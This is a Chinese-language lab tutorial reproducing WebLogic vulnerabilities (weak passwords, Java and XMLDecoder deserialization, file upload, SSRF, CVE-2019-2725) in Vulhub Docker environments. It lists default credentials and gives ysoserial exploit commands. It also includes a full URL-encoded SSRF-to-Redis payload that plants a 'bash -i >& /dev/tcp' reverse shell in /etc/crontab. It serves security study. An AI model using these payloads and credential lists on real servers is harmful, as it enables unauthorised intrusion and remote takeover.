Weblogic弱口令复现操作
1、登录后台地址
2、常见弱口令总结
3、使用 docker + vulhub 进行漏洞复现操作
4、两个破解方式:
(1)、根据任意文件读取来破解
(2)、Burp or 脚本爆破
5、简单的Python脚本讲解
1、Java反序列化概念简单讲解
2、相关Java反序列化CVE编号介绍以及影响的版本
3、其中包括的一些相关概念简单讲解
4、进行简单工具、脚本简单介绍
5、使用 docker + vulhub 进行漏洞复现操作
1、任意文件上传漏洞简单讲解
2、使用 docker + vulhub 进行漏洞复现操作
1、XML Decoder反序列化漏洞简单讲解以及相关概念简单讲解
2、使用 docker + vulhub 进行漏洞复现操作
1、SSRF漏洞简单讲解
2、使用 docker + vulhub 进行漏洞复现操作
3、Python脚本简单讲解
说明:本 Chat 由玄魂工作室 PowerLi、玄魂共同创作。
本 Chat 介绍 Weblogic 常见的漏洞,其中包括:弱口令、Java 反序列化、XMLdecoder 反序列化、SSRF 漏洞、任意文件上传,并根据其漏洞,使用 Docker+Vulhub 进行复现。
本场 Chat 主要内容:
本次教程所有用例,均基于 Ubuntu 系统下操作。现在我们来尝试在 Ubuntu 系统下安装本次实验所需的工具吧:
Docker 要求 Ubuntu 系统的内核版本高于 3.10,使用下面这条命令查看自己系统的内核版本:
uname -r
输入下面这条命令获取最新版本的 Docker 安装包:
wget -qO- https://get.docker.com/ | sh
启动 Docker 服务:
service docker start
安装 pip:
curl -s https://bootstrap.pypa.io/get-pip.py | python3
安装 Docker Compose:
pip install docker-compose
安装 Vulhub 漏洞环境:
wget https://github.com/vulhub/vulhub/archive/master.zip%20-O%20vulhub-master.zip -O vulhub-master.zip
对 Vulhub-master.zip 进行解压:
unzip vulhub-master.zip
如果提示没有 unzip,可使用 apt-get install unzip
获取一下。
现在 Docker、Docker Compose、Vulhub 漏洞环境都已成功安装了。下面我们针对 Docker 来进行一下加速设置。
首先从阿里云获取加速镜像地址,访问:
接下来通过修改 daemon 配置文件来使用加速器,位于:/etc/docker/daemon.json。没有该文件可自行创建一个,并将从阿里云获取的镜像地址粘贴进去,格式如下:
加速器我们也设置好了,如果遇到一些细节报错问题,可以继续交流。
Weblogic 是美国 Oracle 公司出品的一个应用服务器(Application Server),确切地说是一个基于 Java EE 架构的中间件,是用于开发、集成、部署和管理大型分布式 Web 应用、网络应用和数据库应用的 Java 应用服务器。
Weblogic 默认端口为 7001。
控制台路径泄露:弱口令破解
SSRF 漏洞 :
任意文件上传漏洞:
XML Decoder 反序列化漏洞 :
Java 反序列化漏洞 :
2019 年 4 月 17 日,阿里云云盾应急响应中心监测到 Oracle 官方发布安全公告,披露 WebLogic 服务器存在多个高危漏洞,包括远程代码执行、任意文件上传、反序列化等。黑客利用漏洞可能可以远程获取 WebLogic 服务器权限,风险较大。
Oracle 重要补丁更新公告 - 2019 年 4 月:
https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html
Weblogic 存在管理后台,通过账号密码登录,由于管理员的疏忽,经常会使用弱口令,或者默认的账户名密码。因此存在弱口令爆破的风险。
在本环境下模拟了一个真实的 Weblogic 环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对 Weblogic 场景的渗透。
http://your-ip:7001/console/login/LoginForm.jsp
system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem:wlcsystem
weblogic:Oracle@123
参考地址:
https://cirt.net/passwords?criteria=weblogic
进入 Weblogic 的弱口令环境目录:
cd vulhub-master/weblogic/weak_password
构建服务:
sudo docker-compose build
启动环境:
sudo docker-compose up -d
进入网址,查看是否部署成功:
http://your-ip:7001/console
本环境弱口令账号密码为:
账号:weblogic
密码:Oracle@123
首先访问后台登录地址,输入任意账号密码,此时开启 Burp Suite 功能,点击登录:
此时已经将数据拦截下来,然后点击右键,将其转发到 Intruder 模块下:
现在数据来到了 Intruder 模块下,我们需要在该模块下,对数据进行构造,以便进行暴力破解。首先,将 Positions 下将所有变量 Clear\$(清空)掉,并选择想要破解的变量点击 Add\$ 按钮,我们选择账号和密码这两个变量。
Attack type(攻击类型):选择 Cluster bomb,即为交集爆破。
进入 Payload 选项,设置变量。首先设置 Payload Sets 下的 Payload set 为 1(按照之前添加变量顺序来定),Payload type 为 Simple list,然后在下面 Payload Options [Simple list] 的地方点击 Paste 按钮,会将你复制的要破解的账号名粘贴在此处。密码变量设置如上相同,只不过要将 Payload set 设为 2。
在此例子中,我们使用前面所讲述到的常见用户名和密码:
现在我们已经暴力破解的数据构造好了,接下来点击右上角的 Start attack 按钮,来进行攻击,并观察返回结果:
现在我们发现有个长度跟其他的不一样数据,现在尝试去登陆一下,成功登陆,此时 Burp Suite 破解也告一段落了。
如果目标系统不存在弱口令怎么办?我们可以旁敲侧击来破解后台密码。该如何做呢,此例子是配合任意文件下载漏洞来破解后台密码。
正巧,该环境下存在一个任意文件下载漏洞,漏洞地址:
http://your-ip:7001/hello/file.jsp?path=
Weblogic 密码使用 AES(老版本 3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。
这两个文件均位于 base_domain 下,名为 SerializedSystemIni.dat 和 config.xml,在本环境中为 ./security/SerializedSystemIni.dat 和 ./config/config.xml 文件中(基于当前目录为:/root/Oracle/Middleware/user_projects/domains/base_domain)。
结果如下图,该工具会在最后打包分享文件中分享,具体路径在:
Weblogic 机密文件 \Weblogic\weblogic-vulhub 环境 \weak_password\decrypt
使用浏览器输入任意文件下载漏洞地址(http://your-ip:7001/hello/file.jsp?path=),此时浏览器打开代理插件,Burp Suite 打开拦截功能,配置浏览器代理到 Burp Suite:
首先,在路径 path 后面输入 ./security/SerializedSystemIni.dat 路径,成功拦截到包,将其转发到 Repeater 模块下,点击 Go 按钮,来读取加密密钥,返回包是一串数据,不用过多理会,如图:
现在我们将这串数据保存在本地,选中数据,点击鼠标右键,点击 copy to file,选择保存路径(记住这个路径),点击保存,如图:
此时,加密密钥我们已经保存下来了,接下来,要寻找加密的密码了,它在 ./config/config.xml 文件下的标签下,如图:
现在,我们打开破解工具,具体位置上面已说到,文件处即为我们刚才保存的文件,密文即为 ./config/config.xml 文件下的标签中的内容,全部输入完成后,点击确定,开始破解。
现在密码我们已经成功破解了。配合任意文件下载,主要是读取两个带有敏感信息的文件。现在配合任意文件下载漏洞来破解密码行动也已经结束了。
目的:
序列化与反序列化目的是为了让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信,对象持久化存储。
在上述情况中所说的转换过程中,出现了漏洞,加之暴露或间接暴露出可反序列化的 API,导致用户可以操作,并传入数据,或精心构造恶意代码。
首先,使用“Nmap”来探测一下目标信息,是否正在使用 T3 协议。具体命令:nmap -n -v -p 7001
,目标地址 --script=weblogic-t3-info
。
返回信息如下,代表目标正在使用 T3 协议:
使用 Python 脚本针对目标进行探测,是否存在漏洞 Java 反序列化漏洞,脚本地址:
Weblogic 机密文件 \Weblogic\weblogic-vulhub 环境 \Java 反序列化漏洞 — CVE-2018-2628\CVE-2018-2628—0 号 \weblogic_poc.py(该脚本基于 Python2.x)
如图:
根据前面探测的信息,我们发现目标存在 Java 反序列化漏洞,来让我们进一步攻击它吧。此时我们需要使用到“ysoserial”这个工具。
ysoserial 工具地址:
Weblogic 机密文件 \Weblogic\weblogic-vulhub 环境 \Java 反序列化漏洞 — CVE-2018-2628\CVE-2018-2628—0 号 \ysoserial
首先使用 ysoserial 在攻击机上启动一个 JRMP server,输入以下命令:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
最后使用 44553.py 脚本来向目标发送数据包(基于 Python 2.x),该脚本会让靶机调用相关服务来访问我们启动的 JRMP Server,执行我们想要执行的命令。
44553.py 脚本位置:
Weblogic 机密文件 \Weblogic\weblogic-vulhub 环境 \Java 反序列化漏洞 — CVE-2018-2628\CVE-2018-2628—0 号 \44553.py
python 44553.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
等待一小会时间,双方会进行握手,进行数据交互,然后成功执行命令。
现在我们进入虚拟中,来查看我们的文件是否执行成功,首先进入虚拟机命令:
docker ps -a 来查看想要进入容器的id
docker exec -ti 容器id或者容器名称 /bin/bash
通过上图发现成功的执行了创建文件命令。
Oracle 7 月更新中,修复了 Weblogic Web Service Test Page 中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。
利用该漏洞,可以上传任意 JSP 文件,进而获取服务器权限。
该漏洞涉及版本:
漏洞地址:
http://your-ip:7001/ws_utc/config.do
环境部署,进入该漏洞环境目录:
cd vulhub-master/weblogic/CVE-2018-2894
进行环境构建:
docker-compose build
环境启动:
docker-compose up -d
首先要进行一些配置:
docker-compose logs | grep password
漏洞复现流程:
设置该目录的目的:将目录设置为
ws_utc
应用的静态文件 css 目录,访问这个目录是无需权限的。
http://your-ip:7001/ws_utc/css/config/keystore/[时间戳 id]_[文件名]
备注:打包文件中还有其他木马,可以自行实验。
http://your-ip:7001/ws_utc/css/config/keystore/[时间戳 id]_[文件名]
Weblogic 的 WLS Security 组件对外提供 Web Service 服务,其中使用了 XMLDecoder 来解析用户传入的 XML 数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
涉及版本:
漏洞地址:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
环境部署:进入 XML Decoder 反序列化漏洞复现环境
cd vulhub-master/weblogic/CVE-2017-10271
进行服务构建
docker-compose build
启动环境
docker-compose up -d
首先使用 XML 反序列化漏洞检查工具进行检查上面任一漏洞是否存在漏洞:
发现该页面下存在 XML 反序列化漏洞,尝试写入 Webshell。打开漏洞地址,本次实例为:
http://your-ip:7001/wls-wsat/CoordinatorPortType
使用 Burp 抓包,将其转发到“Repeater”模块下,将 GET 变为 POST,并将 Webshell 复制,粘贴覆盖之前,点击 Go 按钮:
访问地址为:
http://your-ip:7001/beawlsinternal/test.jsp
验证是否存在漏洞:
Burp 抓包传入数据验证:
使用 Burp 抓包,将其转发到“Repeater”模块下。反弹 shell 数据的脚本在“反弹 shell.md”中,并且此时攻击机使用 nc 开始监听 nc -l -p
端口。
视角来到“Repeater”模块,将 GET 变为 POST,并将反弹 shell 脚本粘贴至此,点击 Go,发送数据。
成功连接反弹的 shell,如图:
SSRF(Server-Side Request Forgery),服务端请求伪造,是一种由攻击者构造形成由服务端发起请求的一个漏洞,一般情况下,SSRF 攻击的目标是从外部网络无法访问的内部系统。
SSRF 危害以及可实现的攻击行为:
涉及版本:
漏洞地址:
http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
环境部署:进入 SSRF 漏洞环境
cd vulhub-master/weblogic/ssrf
进行环境构建
docker-compose build
启动环境
docker-compose up -d
浏览器打开漏洞地址,出现以下界面可能存在 SSRF 漏洞:
先进行简单探测目标是否存在漏洞:
可从漏洞页面下的“Setup UDDI Explorer”处发现内网地址:
如果不显示,可以使用脚本猜测 “ip_detect.py”(基于 Python 2.x)。
python ip_detect.py --url 目标地址
内网网段:
10.0.0.0 ~ 10.255.255.255,
172.16.0.0 ~ 172.31.255.255
192.168.0.0 ~ 192.168.255.255
进行内网探测,步骤:
观察现象,根据探测结果进行简要分析。
主机存活且端口存在:
可访问的端口(且该端口是非 HTTP 协议):
现在模拟内网中存在一台 Redis,我们来对它进行攻击。
在前面的探测,我们已经知道了目标系统内网地址存活状态,并发现了一个 6379 端口主机,根据经验,该端口下的服务是 Redis 数据库。
下面我们尝试利用注入 HTTP 头,来让 Redis 反弹 shell。
1. Weblogic 的 SSRF,在使用 GET 请求时,可以通过“%0a%0d”(\r\n,换行符),来注入换行符。
2. 某些服务(如 Redis)是通过换行符来分隔每条命令。
3. 因此可以通过该 SSRF 攻击内网中的 Redis 服务器。
4. 发送三条 redis 命令,将反弹 shell 脚本写入 /etc/crontab
:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/7089 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
5. 进行 URL 编码:
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.24.175%2F7089%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
6. 发送编码后的 Payload:
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://172.21.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.24.175%2F7089%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.1
7. 攻击机使用 nc 进行端口的监听:nc -l -p 7089
,成功反弹 shell:
漏洞名称:
WebLogic wls9-async 组件存在反序列化远程命令执行漏洞
漏洞描述:
Wls9-async 组件为 Weblogic Server 提供异步通讯服务,默认应用于 Weblogic 部分版本。 部分版本 WebLogic 中默认包含的 wls9_async_response 包,为 WebLogic Server 提供异步通讯服务。由于该 WAR 包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。
涉及版本:
漏洞地址:
http://your-ip:port/_async/AsyncResponseService
环境部署:
获取 Weblogic 版本,该版本为 12.1.3
docker pull ismaleiva90/weblogic12
后台运行漏洞环境
docker run –d -p 7001:7001 --restart=always ismaleiva90/weblogic12
首先使用 Nmap 的 nse 脚本对目标进行探测,但要先获取脚本,GitHub 地址:
https://github.com/Rvn0xsy/nse_vuln/blob/master/weblogic/CNVD-C-2019-4814/weblogic-CNVD-C-2019-48814.nse
将下载后的 nse 脚本放入 Nmap 目录下的 Scripts 文件下。
对目标进行探测,执行以下命令:
nmap -sV -p 目标端口 目标地址 --script= weblogic-CNVD-C-2019-48814
-sV
:探测开放端口并确定服务和信息,并确定版本信息,扫描出的版本配合漏洞库来验证目标是否存在漏洞。
经过我们探测,发现目标存在 CVE-2019-2725(CNVD-C-2019-48814)这个漏洞,那我们现在进一步攻击目标吧。
浏览器打开漏洞地址:
http://your-ip:port/_async/AsyncResponseService
此时打开 Burp Suite 对该漏洞地址进行抓包,并将其发送到 Reapeter 模块下:
现在我们将视角转到 Reapeter 模块下,开始针对目标进行一个简单的攻击,我们将使用下面构造好的 HTTP 请求,将其粘贴到 Repeater 模块下即可,然后点击 Go 按钮,Response 返回 202 Accepted 表示创建成功:
该脚本以放在打包文件中,CVE-2019-2725 文件夹下。
上面这个脚本功能是使用 nc 反弹一个 shell,攻击机去使用 nc 连接,此时攻击机开始进行端口监听,然后点击 Go 按钮,此时成功连接 shell,并成功进入了目标系统: